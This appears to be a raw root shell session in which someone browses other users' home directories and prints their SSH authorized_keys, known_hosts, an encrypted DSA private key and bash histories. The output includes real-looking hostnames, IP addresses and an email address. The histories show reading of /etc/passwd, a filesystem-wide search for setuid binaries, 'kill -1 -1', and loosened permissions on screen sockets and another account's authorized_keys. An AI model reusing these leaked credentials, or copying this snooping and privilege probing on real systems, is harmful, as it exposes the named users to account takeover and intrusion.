[root@localhost .ssh]# cat authorized_keys 
ssh-dss
AAAAB3NzaC1kc3MAAACBAI6Lc8yLa2rY9x0usKkIuF+KOrnNY9rXPb4QepTiCnT0
XeeO3xvp/U2UGKFNRwvVIVRvBnlQYxLjNyPLq5b7GyOWF1wheREiyDwwPn/Ei67i
3flFSEEigwStaYZyqUblyhGb8V+/zuM6IU0+fUyJ3njg2dYCzuS6EmxG6CEXwYmJ
AAAAFQCuVVp4oCYDMEhVcrba8Rp8MlDE8QAAAIA+pKsVtYmlcxOUhuMLGgiLyM2e
/eV7xaeLqFD3fxSog7XjtuTxJlb7TzJ8X0/q0mLtfk4n/+kRX7UJCfLmzOgcR9vu
ROUWwt4VU5Aw4iFf8OuPgT2y5SlnGKlSNupStubGNIVO+PNKR6aW82KzpRQXEkCY
DfFBJGlG5JQr2KLpKgAAAIBk3u6xP29pU92Qwg+5DJuE6L4kHHW2f1NPjoCFb1wO
cf2yi2V4eT8prKP+IFjqOfuCaTB+0fK/kWtX/vTA/lei3x19JKLHwY0+nMmnvvep
VBch5IrPyZQs4zyPFRxc7cWAgXdPETdrCZ/q5h4CI2qBvXQ2gfckFcaOZWwET13l
Nw==
djdd@vds349.sivit.org
[root@localhost .ssh]# cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,5A84045F7AE97BF5

OLpiQ4jAqNOvsx5EVaY5NtqAXYEhvy3z6AuL3dskW6WlgP4jCTykd2dTfcuY+7YV
HqhVI/izngdTgBVoz5xdsLwxPmXKYv7H6GBISHRzpAyq04XtI63a3lA2CIf+PKBV
m09LxyFAJ88t5j3X1V9E99pFCmVBkfjRDvIaKUbRhjWsATKh3Imm71OPqdZumA0q
3CGh0qEZW72I0l0xzBIUeEajfS3CSfxs2XOBeXLlG+eh1SmMdaS96R00pWiy4VCy
p/WBpQ9kDexlEfKPGNPpd4Stc9cZVNWb+2HXMXj6xriekcvSb30i/UrtJgVb9S+R
Xrhx4AC2XjCmw82KHvCqgrWN746deHdC22huP2n1Ig4mldhMrK6UqWNzavwJ/btv
nEMNn3r1hoQ8rhHn9PePeXOOxvc6D99vKhkI16RH0Ol+IXvyKPoqPJgaz8WGbvmC
rq3Brdt6iIa9/wPXLwB6bo7zPQ/uB3akg+s+e2laqWGuItvgcfurfJp9108WoFM0
y600xzfQxpOPqGzIjWa359O/v1opX1zviHjuI5NHUDOkKBoIXT8VZdAZr3SbGAMh
6td52Ps+2x3pdyYEiQx8NA==
-----END DSA PRIVATE KEY-----
[root@localhost .ssh]# cat id_dsa.pub 
ssh-dss
AAAAB3NzaC1kc3MAAACBAI6Lc8yLa2rY9x0usKkIuF+KOrnNY9rXPb4QepTiCnT0
XeeO3xvp/U2UGKFNRwvVIVRvBnlQYxLjNyPLq5b7GyOWF1wheREiyDwwPn/Ei67i
3flFSEEigwStaYZyqUblyhGb8V+/zuM6IU0+fUyJ3njg2dYCzuS6EmxG6CEXwYmJ
AAAAFQCuVVp4oCYDMEhVcrba8Rp8MlDE8QAAAIA+pKsVtYmlcxOUhuMLGgiLyM2e
/eV7xaeLqFD3fxSog7XjtuTxJlb7TzJ8X0/q0mLtfk4n/+kRX7UJCfLmzOgcR9vu
ROUWwt4VU5Aw4iFf8OuPgT2y5SlnGKlSNupStubGNIVO+PNKR6aW82KzpRQXEkCY
DfFBJGlG5JQr2KLpKgAAAIBk3u6xP29pU92Qwg+5DJuE6L4kHHW2f1NPjoCFb1wO
cf2yi2V4eT8prKP+IFjqOfuCaTB+0fK/kWtX/vTA/lei3x19JKLHwY0+nMmnvvep
VBch5IrPyZQs4zyPFRxc7cWAgXdPETdrCZ/q5h4CI2qBvXQ2gfckFcaOZWwET13l
Nw==
djdd@vds349.sivit.org
[root@localhost .ssh]# cat known_hosts 
www.liveits.com,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=
zloche.com,81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4
OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2
NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyT
eBHEeuM=
zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=
66.168.220.212 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKD
Ms5orhRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubx
DIJvFKcTfNi+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/y
ljSwznrSDWuVwn5LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iAT
I5SrFRCfWNkC7gH/oFxXM/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTY
xab8usl+Q39uYvqTfXwJDIYX+BE810BNmXi0QA6WlYUOpMJj9Q==
craplandia.org,74.69.17.126 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA5vHP/DNtJSXwf+2YNhLD9MX2HkcuNqhGNtmJ
6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZkS8OGQI0X55c0Ud0JEXjbXuikZEFUtzr
2A+up19wewbpMsMRac87r+vtU218ozOUjYuurhJwF58DhrUKLrTwa5hl8pRFTifS
qhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgAaUDFX4VHoYW7AbJlO/3cJLxWEHoU
kRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm3x+w/Scuw7kBrjSYg0CXaxDTR5
l8lBMJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4sWZqZwaqWQ==
[root@localhost .ssh]# cd ..
[root@localhost DJDD]# cat .bash_history
ls
dir
telnet
passwd
cd root
ls
dir
putty
lcd c:dir
lcd c:open
lcd c:open
lcd c:ls
ls
talk Raster
root Raster
"talk Raster
sup dude
"talk Raster"
talk root
"talk root"
talk root wuts up
talk root
talk root
talk root
kibitz root
talk root
brb
talk root
talk
talk root {pts/6] test
talk root (pts/6) test
talk
[DJDD@localhost ~]$ talk
Usage: talk user [ttyname]
help
cd ..
lcd c:help
pwd
cd /
pwd
pwd all
read
pwd -PL
ping 66.168.220.204
wall root test
wall root hows it goin Raster
help
talk
well
well root
wall root
wall root Raster, kick DJ_Double_D or DJDD^Lap will you?

telnet
wall root u there raster?
telnet
wall root i know, i forgot to close them down when i left this morning
wall root ive tried emailing CdP to kick them
wall root are you on irc now?
whay was it banned?
wall root why was it banned?
wall root is there a timeout period for this kind of thing or will an ircop
have to unban the connection?
wall root aorry about this, when i tried to start mIrc up it went crazy tring
to connect to the serve4r
wall root sorry*
cdpirate@gmail.com
wall root from all the connections or is something else going on?
wall root thru ssh?
wall root lemme see if i can find something
wall root check this out http://tinyurl.com/pk963
wall root kk
wall any luck?
wall
wall has the connection been unban
wall root
kk
cd ..
ls
cd ..
ls
cd media
ls
cd ..
cd etc
ls
cd ..
ls
cd mnt
ls
cd ..
passwd 
ls
pwd
cd ..
cd ..
ls
cd etc
ls
cd passwd
cat passwd
pwd
ls
cat passwd-
cat passwd.old
cat passwd.OLD
ssh sillyrabbit
irssi
wall GOOOOOODDDDD MORNING VIETNAMirssiirssiirssi
telnet
whois liveits.com
ls -a
mkdir .ssh
cd .ssh
pico authorized_keys
vi authorized_keys
cat authorized_keys
ls -la
chmod o-r .
chmod o-r ..
chmod og-w authorized_keys 
ls -la
ls -la .ssh
chmod og-rwx .ssh
ls -la .ssh
ssh djdd@liveits.com -v
ssh djdd@www.liveits.com -v
ssh djdd@www.liveits.com -v
ls -la .ssh
cp .ssh/authorized_keys .ssh/id_dsa.pub
ls -la .ssh
ssh djdd@www.liveits.com -v
ssh djdd@zloche.com -v
ssh djdd@zloche.com -v _A
ssh djdd@zloche.com -v -A
xterm
will work
 it crashing?
ok you need pcmcia for anything to get online? 
pico tmp
vi tmp
less /proc/interrupts 
vi tmp
screen irssi
exit
exit
screen
screen -raAd
exit
screen -raAd
ftp
screen -raAd
exit
screen -raAd
exit
ssh zloche.net
uptime
 17:15:17 up 17:14,  9 users,  load average: 0.00, 0.00, 0.00
help
stats'

stats
exit
ssh 66.168.220.212
ping 66.168.220.212
ssh 66.168.220.212
uptime
sudo adduser djdd
ping 66.168.220.212
telnet
exit
irssi
exit
irssi 
exit
ssh 66.168.220.212
ping 66.168.220.212
ping 66.168.220.214
irssi
exit
irssi
screen irssi
exit
ls
cd ..
dir
cd ..
dir
cd etc
ls
cd ..
cd ..
alias
exit
exit
alias
man alias
alias=djdd
ssh 66.168.245.176 djdd
ssh craplandia.org djdd
logout
screen irssi
exit
screen irssi
exit
screen -raAd
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
exit
ping irc.zloche.net
exit
screen -raAd
exit
exit
screen -raAd
screen irssi
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
exit
ssh zloche.net
irssi
exit
screen -raAd
exit
screen -raAd
screen irssi
screen -raAd
exit
screen -raAd
exit
screen -raAd
screen -raAd
exit
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
exit
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
screen -raAd
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
screen -raAd
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
screen -raAd
exit
screen -raAd
exit
top
screen -raAd
screen irssi
exit
screen irssi
screen -raAd
exit
screen -raAd
ping pastecode.com
ping www.pastecode.com
screen -raAd
msg strayfe yo
message
help
screen -raAd
who
write strayfe pts/8 yo
write strayfe yo
write strayfe pts/8
screen -raAd
screen -raAd
w
write strayfe pts/8
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
/screen irssi
screen irssi
exit
screen -raAd
exit
screen -raAd
exit
screen -raAd
screen irssi
screen -raAd
screen -d -r 10194.pts-7.localhost
screen -d -r 6355.pts-1.localhost
exit
top
exit
screen -d -r 6355.pts-1.localhost
exit
ls
pwd
sdlkfjl;sdkl;fmsd'a

ls
cd ..
cd ..
ls
sudo tail /var/log/messages
cd etc
ls
cd ..
which denyhosts
locate denyhosts
w
w
exit

[root@localhost DJDD]# cd ~stax
[root@localhost stax]# ls -alh
total 40K
drwxr-xr-x   3 stax    stax    4.0K Mar 31 17:55 .
drwxr-xr-x  26 strayfe strayfe 4.0K May 14 04:32 ..
-rw-------   1 stax    stax     778 Jun  8 01:16 .bash_history
-rw-r--r--   1 stax    stax      24 Mar 21 17:32 .bash_logout
-rw-r--r--   1 stax    stax     191 Mar 21 17:32 .bash_profile
-rw-r--r--   1 stax    stax     124 Mar 21 17:32 .bashrc
-rw-r--r--   1 stax    stax     120 Mar 21 17:32 .gtkrc
drwx------   2 stax    stax    4.0K Mar 31 18:31 .irssi
-rw-r--r--   1 stax    stax     658 Mar 21 17:32 .zshrc
[root@localhost stax]# cat .bash_history 
passwd
w
write root pts/2
w
sudo su ircd
ping tbm.zloche.net
w
ls
w
w
w
w
sudo su ircd
mysql
mysql -u root -p
sudo su ircd
sudo su
sudo su ircd
w
asd
ls
w
irssi -c localhost
ls /
cd /www/
ls
cd raster/
ls
cd ..
find --help
find ./ left.png
find left.png
cd /
find left.png
locate left.png
cd /www/htdocs/left.png
cd /www/htdocs/
ls
pwd
mkdir Stax_Temp
cd ~ircd/
ls
cd services
ls
du -csh
killall services
ls
tar -cf forstax.tar *.db *.sql modules anoperc/ languages/ list* mydbgen logs/
serviceschk tools/
mv forstax.tar /www/htdocs/Stax_Temp/
ls
w
ls
sudo bash
w
killall services
sudo su ircd
w
who
w
w
w
w
w
w
ping server4
ping server4.zloche.net
w
ping www.zloche.net
ping server2.zloche.net
ping irc.rasterized.net
w
less /proc/cpuinfo 
w
w
w
ls
sudo bash
su ircd
sudo bash
[root@localhost stax]# cd ~gumbie/
[root@localhost gumbie]# ls -alh
total 13M
drwxr-xr-x  15 gumbie  gumbie  4.0K Jun  8 22:54 .
drwxr-xr-x  26 strayfe strayfe 4.0K May 14 04:32 ..
-rw-------   1 gumbie  gumbie   17K Jun  9 00:55 .bash_history
-rw-r--r--   1 gumbie  gumbie    24 Sep 11  2006 .bash_logout
-rw-r--r--   1 gumbie  gumbie   191 Sep 11  2006 .bash_profile
-rw-r--r--   1 gumbie  gumbie   199 Jun  6 22:16 .bashrc
drwxr-xr-x   2 gumbie  gumbie  4.0K Sep 16  2006 Desktop
drwx------   2 gumbie  gumbie  4.0K Sep 16  2006 .elinks
drwx------   4 gumbie  gumbie  4.0K Sep 18  2006 .gconf
drwx------   2 gumbie  gumbie  4.0K Oct  5  2006 .gconfd
drwxrwxr-x   3 gumbie  gumbie  4.0K Sep 16  2006 .gnome
drwx------   7 gumbie  gumbie  4.0K Sep 16  2006 .gnome2
drwx------   2 gumbie  gumbie  4.0K Sep 16  2006 .gnome2_private
drwxr-xr-x   2 gumbie  gumbie  4.0K Sep 16  2006 .gstreamer-0.8
-rw-r--r--   1 gumbie  gumbie   120 Sep 11  2006 .gtkrc
-rw-rw-r--   1 gumbie  gumbie   135 Sep 16  2006 .gtkrc-1.2-gnome2
-rw-------   1 gumbie  gumbie   191 Sep 16  2006 .ICEauthority
drwxrwxr-x   2 gumbie  gumbie  4.0K Sep 20  2006 Incoming
drwxrwxr-x   4 gumbie  gumbie  4.0K Sep 18  2006 .mozilla
-rw-------   1 gumbie  gumbie   624 Mar 11 05:20 .mysql_history
drwxr-xr-x   3 gumbie  gumbie  4.0K Sep 16  2006 .nautilus
-rw-------   1 gumbie  gumbie     0 Sep 16  2006 .recently-used
-rw-------   1 gumbie  gumbie   497 Sep 16  2006 .rhn-applet.conf
-rwxr--r--   1 gumbie  gumbie   12M Sep 27  2006 screen1.bmp
-rw-rw-r--   1 gumbie  gumbie    14 Sep 18  2006 .screenrc
drwx------   2 gumbie  gumbie  4.0K Feb 28 16:12 .ssh
-rw-rw-r--   1 gumbie  gumbie     0 Dec  1  2006 test
-rw-rw-r--   1 gumbie  gumbie     6 Sep 11  2006 tmp
-rw-r--r--   1 gumbie  gumbie   12K Sep 11  2006 .tmp.swp
-rw-------   1 gumbie  gumbie  1.6K Feb 28 16:12 .viminfo
-rw-------   1 gumbie  gumbie   201 Jun  8 22:54 .Xauthority
drwx------   3 gumbie  gumbie  4.0K Sep 18  2006 .xchat2
-rw-r--r--   1 gumbie  gumbie   658 Sep 11  2006 .zshrc
[root@localhost gumbie]# cd .ssh
[root@localhost .ssh]# ls -alh
total 16K
drwx------   2 gumbie gumbie 4.0K Feb 28 16:12 .
drwxr-xr-x  15 gumbie gumbie 4.0K Jun  8 22:54 ..
-rw-------   1 gumbie gumbie 2.9K Sep 11  2006 authorized_keys
-rw-r--r--   1 gumbie gumbie 2.2K Mar 24 03:06 known_hosts
[root@localhost .ssh]# cat authorized_keys 
ssh-dss
AAAAB3NzaC1kc3MAAACBAIkoc5RisBTJmtAUFmSedLFXUOtADHiPUNVgvS3aE
J/EauJM8Bvldd7AlNL2IoW+BVyI9qQ9F5u7ck925L3LFO2DySquqTUvu6wC1h
cG+QJmLvXWdZlp7qqiaVhQPspf++3PnpL/9W3Ls06CJTkRpWFb5pyBeB5srYv
+pO26i1xfAAAAFQCDQHjFR6JYK2BMfYzeqv5el4fsJQAAAIBQZW0fqGNmIxFA
NmeHcAWUlow8cwzH3bYltUHxYqFmogv7KhXppAzmDuptjqxpAAsiXResTflS4
84DieIwssz8z9IB+4hGITpnPOHQT1ddxIq614MbkNlIMbCDXA1Ikbf0UNbJbN
5fTd3JBZWU93lp2blJ+0VcmI2o3SXLZJgiLwAAAIAMXILSm58KHdeCaeNb/Ed
SXAqnC7ZQ3LElNdgv0KX2d6t2ec4MWXjoicuIjTE5ZAh4m6e+vVP3yaxSGaxt
Z6TZKtS1P2Ku0MnYOdzer5y7C1EcQXyshYN9uikNEp3yiOk/n2mbHv8BrJr/Q
/0FqWVn3FDzJ2O/szt7iXrx+67IYg==
gumbie@apache.rmachine.net
ssh-dss
AAAAB3NzaC1kc3MAAACBAMhBcEfcxCSsSXvoeP9FA+oyHyDN8N4bH8WMn62ST
dnsRGo1BGQNXYw3+wySs7L9XilUOC1Tnorkc9qsgZnsWfujfTRU2WOvdZ+Pfk
ZFhyser/xwMbmCNjovC1QONmq+UfvHoisHUPHymSIcL1jN704qB69JOGYwQy8
YndPvaJlbAAAAFQCc1KfmY/qwIH/Z0RCTTFiX0DgzIQAAAIAlVsYB57+E7JUv
sc54+6lnzAb84NlzS3aIOI+G4ctrXjQ962RxBEn1YezFH0xfPpnN15C3fTtU+
NU/BqWX0LplGMK7xkvelQmPzPINebrWsAGQewWelPfqWABZ+9UIv7KbpnYYmG
91aka9Xtdj7+3b0Xaq5wpQjGTrvlEhUnSOewAAAIBdoaDNivxRzV5oK310p4W
p0PGzfqjzB0glwzTi0zwvs6nTdA4qqgh1HaU9SYtpUwTq9tNBQs5cftTZS0Ou
yYfedUtt2DjM6S07Cj2zkh1C1Obd4M+ABD9LNRigSfyi9wGwtxXpMk7gwTkS1
msyqHVD5kSxRTmyUl40QukqiAN5PA==
"gumbie@toshiba_dsa"
ssh-dss
AAAAB3NzaC1kc3MAAACBAIu2cdN3RRzMDD7H45m3ycrDZNoiQpm2NAC1fqc6Ht
Xxt1yE2k5MxNKj2+PJJ5hdPghNZJy7+yD+gsEnbPpEY670yp0WRqF7Pea55zOr
5D8LUt7ONRqSkoMiXCSxXOzbbgpH/f2bucJpeeXU7N4sCsFTwCcs+wOjkWw45W
OOYhYRAAAAFQDVOp3utFXwVFKdWVhF+PWOVFo1UQAAAIAjZoT8OWf+V1myE8qX
X53ptpFz+mkz9Cke/nXnCop7iyWIRMwQyaHiB/m4QFj37jlrVBm3jW185gTJuH
cBecpnLtT+1tZE8v52uvHK1b4Tk+tGZSAnXyFCd2527pzu4UmD89Q3HgSJkPWa
imtiR+upc/7lAda6Vd5gGO6WgSlUIwAAAIBdK2rixeRLzk0OP91F1LyEP6AG7x
K7fcjSTPNdQBNx01jk3B2hT/EQZxp5To+F3UCsjqCSlA8+Hzc2BicLfEmL8E+s
WgZGuAo/tREPeLT8YWPL+JEBK5SJBHpWK4YyGw2pw2wpiecg4X6NMDH/SBDo8d
rhsDmHKIiH0AmWyeYGxw==
"gumbie@guinness"
ssh-dss
AAAAB3NzaC1kc3MAAAEBAKunfYaKQoO/n2Hd/tQi+BWaB3asXeiG2pHrWXsysM
PFucW5dtzupXlyNQVw7Ul6F9DIf0i2mq0pEYRG3DOwE6WpSRzoaVLwIgreWqfs
eyOHPj1VVEpqndD1MBN8DB7KhUqmdcZaA0ZHKckfKQ32jNwQzUv8dLiFpxrMgG
4NHKnxeljB3KEXrvfnaLQKzjZM493Kyz2YRrYRRDEmIV9gDXyf7K7tTfTnEH3Q
lkZntl2EuT7DAwosVp65Sc9eqg/bTbFPwFV1NBtCLHYqhwbr2o4T47K6p52rle
Ilc0nKEuIwDC7UXYF/NYK7LlET0Hs2UeORIAqCVpEM9GLtqD86mOEAAAAVALbq
DYEBLteFV2KXeFxSgg1dTi7vAAABAByEI62hyW1nvzlpZDoYp2IBQfS+VfDFPN
oxA4ot90KgL0y1cF3HOYVfcEDPj5ONK8246/swSCGgQt8twutXsjIo+xiuYO5h
6cPLqRTeycMUrP2QQMMxZXuXMJeXLJWJ+e1n5i+vrAJf6X2T0TI+ry6X9u4gtR
5uInW58sNAERtsaxwj+H+ifDIaCFewylmTIOp5A1equsNlHis2B0j7VBLerk7m
aRGOCzrc4jdA+ztM5tJaUy8x83bEYiXDOZoeqVmoF2gxTenZiOmQBHDRE4+WlJ
ZCj51eS8r/8zzSgGMsD0TY5jpcU5zocAi1cd3Woz6oZa8XZPoFke+rr9zK5TwA
AAEBAKG8GciKXT79FOrnntiM3fGqQcI21e6w0GczRX6Q1bie9te7c8Z69HIWHe
J43MKAzWi7Zz8rPcHAD30VW7bkgGyGHaPBz79ACW5u/A6gCLjYHM/A+RM/4fGI
siVa90Bb6k1nGUkzRNpp1l+xKrQG9uc8cJXMO5QAuup7FXnZFjMQ3pNs7y9HhC
EsSuAIOsCdvHOgzHW602N1DV76jALAIA1UbY8vv82o5dy+BNxRhjsAOpT17VqJ
k8SOp+BIpiEIy/gnfk6lvbHxev2DjM97pRWnmb0lFkNNptlXz7GPh8TAaMUqXo
cMoVpC4Dqz2TUyNALyrZQgtnX+vdfnSjSsyzM=
"gumbie@cyber"
[root@localhost .ssh]# cat known_hosts 
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe
0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj
4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5
CpHMuAKU70=
71.192.64.22 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAsRBHrWAwTKSWF0DdzGeLaWZYSGFjdPmtH+hi
g6rozw5akKT+l7JxMcPi0iW0kuImhOh/D7cVh7BlMQc5RjvrOigxN6RtrrUzE5iU
hdHRdlbQ5XWaPJQZLH6nQMnCvtGsj432OMi5NiWAs8QUp0duiOUPCQxq3hV/wq4M
TqlP/Nk=
192.168.1.103 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAxOTEuFhSKkLOas+na3mZV2LKlWFFPKtu9rxg
VBEIIY4GyMgLaG8t72tjhKctW/LlJ4JZddpz3Kp4voOPupio9Yo49gyQXRxpPXQ/
Polx1pg7UqL6rplmNrBOKDT6vvEIT2vUUjzOqVDQUXWh240L9IXDSFpBKVq2aFhl
qPGvxdqqlAe8O7B/qP0CwZLk77UnMqdUKLO2/j1Wd0thyK30KYyAxaZzC5ikAPqL
+n3vxxXHypSh36wI7VLTGhfh5apo7++tYJJmb9hJYePHrTSM5fYGjuiYWzkqMZB0
5XpP+0VA4arEiYIu+5edaG2FhbWvsY5uUzteHx1z9SAk6YIocw==
192.168.1.8 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAxOTEuFhSKkLOas+na3mZV2LKlWFFPKtu9rxg
VBEIIY4GyMgLaG8t72tjhKctW/LlJ4JZddpz3Kp4voOPupio9Yo49gyQXRxpPXQ/
Polx1pg7UqL6rplmNrBOKDT6vvEIT2vUUjzOqVDQUXWh240L9IXDSFpBKVq2aFhl
qPGvxdqqlAe8O7B/qP0CwZLk77UnMqdUKLO2/j1Wd0thyK30KYyAxaZzC5ikAPqL
+n3vxxXHypSh36wI7VLTGhfh5apo7++tYJJmb9hJYePHrTSM5fYGjuiYWzkqMZB0
5XpP+0VA4arEiYIu+5edaG2FhbWvsY5uUzteHx1z9SAk6YIocw==
www.zloche.com,81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4
OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2
NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyT
eBHEeuM=
www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=
zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=
irc3.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhX
x05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qH
PS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwG
j6bIiuE=
[root@localhost .ssh]# cd ..
[root@localhost gumbie]# cat .bash_history
exit
passwd
mkdir .ssh
cd .ssh
scp www.zloche.net -v
scp www.zloche.net:.ssh/authorized_keys ./authorized_keys
passwd
passwd
passwd
passwd
passwd
ls -la
chmod og-rwx .
cat /etc/resolv.conf 
locate named
w
/sbin/ifconfig
/sbin/route -n
dig irc.rmachine.net
dig irc.humpmeg.net
cat /etc/sysconfig/network-scripts/ifcfg-eth0 
w
screen -e^Tt
mesg
w
talk Raster
ktalk Raster
man -k talk
cp .ssh/authorized_keys ~ircd/.ssh
w
hostname
hostname -f
hostname -l
hostname -f
ssh 71.192.64.22 -v
scp gumbie@71.192.64.22:/new2/unreal.tgz ./unreal.tgz
ls
ok...
cp unreal.tgz ~ircd
cp unreal.tgz ~ircd/src
control-a  then 1   
it is ctrl-t
ircii
scp gumbie@71.192.64.22://usr/bin/kibitz ./kibitz
w
kibitz -tty pts/7 Raster
chmod uog+rx kibitz 
ls
./kibitz -tty pts/5 Raster
expect
ls -l `which screen`
w
screen -ls
screen -ls
pico tmp
vi tmp
screen -ls
ps auxww | grep -i screen
w
vi tmp
ls -l `which screen`
ls -l `which screen`
ls -l `which screen`
ls -l `which screen`
vi tmp
ps x
screen -x
screen -ls
ls
ps xauww | grep screen
w
w
ls /
ls -l /var/run/screen
stat /var/run/screen/S-gumbie/
chmod 0755 /var/run/screen/S-gumbie/
stat /var/run/screen/S-gumbie
screen -ls
chmod 0755 /var/run/screen
ls -l /var/run/screen
ls -la /var/run/screen
ls -la `which screen`
screen -r 
screen -r gumbie 1802.pts-1.localhost
screen
ls -la `which screen`
screen -x
screen -R
ps x
ps xu
mesg
screen -r
screen -x
screen -R
screen -f
screen -h
screen -D
screen -m
screen -RR
screen -Ra
screen -a
screen
kill -1 -1
su - ircd
ls /home
telnet localhost
ssh -p 443 ircd@localhost
w
su - ircd
screen -ls
ps x
ps xau
ps xau | grep screen 
ps xau | grep -i screen 
screen
ls -la /var/run/screem
ls -la /var/run/screen
stat /var/run/screen/S-Raster/
stat /var/run/screen/S-Gu
stat /var/run/screen/S-gumbie/
screen -x
screen -r
screen -d
screen -
screen
screen -a
id
sudo su -
w
su - ircd
su - ircd
su - ircd
cat .bash_history 
w
ps auxww | less
w
screen -ls
w
top
w
ps auxww | grep dead
cat /etc/passwd
ls /home/deadlyacid/
ls -a /home/deadlyacid/
ls -al /home/deadlyacid/
ls -al /home
ls -al /home/mrcheese/
ls -al /home/ircd/
ls -al /home/Raster/
ls -al /home
ls -al /home/NeoKat/
ls -al /home/.ssh
ls -al /home/lirc-0.8.0/
ls -al /home/lirc-0.8.0/tools/
ls -al /home/lirc-0.8.0/remotes/
find /home/lirc-0.8.0 -suid
man find
find /home/lirc-0.8.0 -perm +u+s
find /home/lirc-0.8.0/* -perm +u+s
find /home/lirc-0.8.0/* -perm +u
find /home/lirc-0.8.0/* -perm +s
find /home/lirc-0.8.0/* -perm +S
find /home/lirc-0.8.0/* -perm u+s
find /home/lirc-0.8.0/* -perm +u+s
find /home/lirc-0.8.0/* -perm +u+S
find /home/lirc-0.8.0/* -perm +u+x
find /home/lirc-0.8.0/* -perm +u+s
find /home/lirc-0.8.0/* -perm +g+s
find / -perm +g+s
find / -perm +u+s 2> /dev/null | less
w
screen
ls -l /var/run/screen/
ls -la /var/run/screen/
ls -la `which screen`
id
screen -h
screen -m
screen -r
screen -X id
screen -wipe
w
screen -x
screen -ls
w
talk Raster
write Raster
w
write Raster
mesg
host irc.rmachine.net
tty
w
ssh -l ircd localhost -p 443 -v
ls -la ~ircd/.ssh
ls -la ~ircd/.ssh/*
ls -la ~ircd/.ssh/authorized_keys
chmod uog+r ~ircd/.ssh/authorized_keys
ls -la ~ircd/.ssh/authorized_keys
cat ~ircd/.ssh/authorized_keys
chown ircd ~ircd/.ssh/authorized_keys
w
w
screen -ls
w
who
tty
ps x
w
ps auxww|less
ls /net
ls /mnt
ls /
ls /net/*
ls /net
ls /misc
ls /net/localhost
ls /net/localhost/
uname -a
showmount -e
smbclient -L localhost
smbclient -L 
/sbin/arp -en
/sbin/ifconfig
screen -x
w
